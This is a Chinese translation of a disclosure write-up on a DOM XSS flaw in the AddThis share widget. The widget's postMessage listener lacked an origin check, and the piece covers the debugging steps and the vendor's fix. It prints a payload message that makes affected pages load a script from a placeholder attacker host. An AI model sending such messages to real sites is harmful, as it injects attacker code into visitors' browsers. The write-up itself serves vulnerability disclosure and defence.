AddThis Widget 调用 PostMessage API 导致上百万网站存在 XSS 漏洞

前言

AddThis是超过一百万的网站使用的分享按钮。在今天年年初都曾被发现XSS漏洞。在我以前的文章中提到过PostMessage API的缺陷。今天这篇文章将介绍如何识别和利用AddThis。

最近测试一个使用AddThis的网站的时候,通过Chrome的开发者工具检查,我注意到它使用了postMessage。

postmessage1

我使用Chrome开发者工具在listener中设置了一个断点,然后发送了一个消息:“window.postMessage(“hello”, “*”)”用来检测它是否存在漏洞。

检查listener

代码除了使用HTTP和HTTPS的页面以外并没有进行orgin检查。消息的预期格式参见代码第5364行:

at-share-bookmarklet:DATA.

postmessage2

我继续调试,然后发送正确格式的消息,使得代码最终在5370行调用了“r”函数。而“ r”函数调用另一个名为“ s”的函数:

postmessage3

S函数创建了一个新的元素(DOM XSS?)

postmessage4

Unminifying

为了了解这个功能做了什么,我通过命名变量和删除多行语句来反混淆:

postmessage-xss-on-a-million-sites

最终得到发送格式如下的消息:

at-share-bookmarklet://ATTACKERHOST/xss.js

它会添加一个新的脚本元素到“//ATTACKERDOMAIN/xss.js”的页面。也就是说存在DOM XSS漏洞。

POC

攻击者能够任意攻击使用了AddThis的网站(DOM XSS)。我的Exploit如下:

20161216120633

完整Exploit:PostMessage

修复

通过与Matt Abrams (AddThis CTO)的交流,他表示漏洞将会被很快修复然后推送用户手中。修复通过增加orgin检查来确保任意来源的消息不被发送。

总结

总之,PostMessage经常是导致DOM XSS漏洞的源头。如果您正在使用第三方脚本,一定要检查它们的实现。

 

*原文:Detectify Lab,Mottoin翻译发布。转载请注明来自MottoIN!

原创文章,作者:exp1oi7ss,如若转载,请注明出处:http://www.mottoin.com/article/web/94130.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code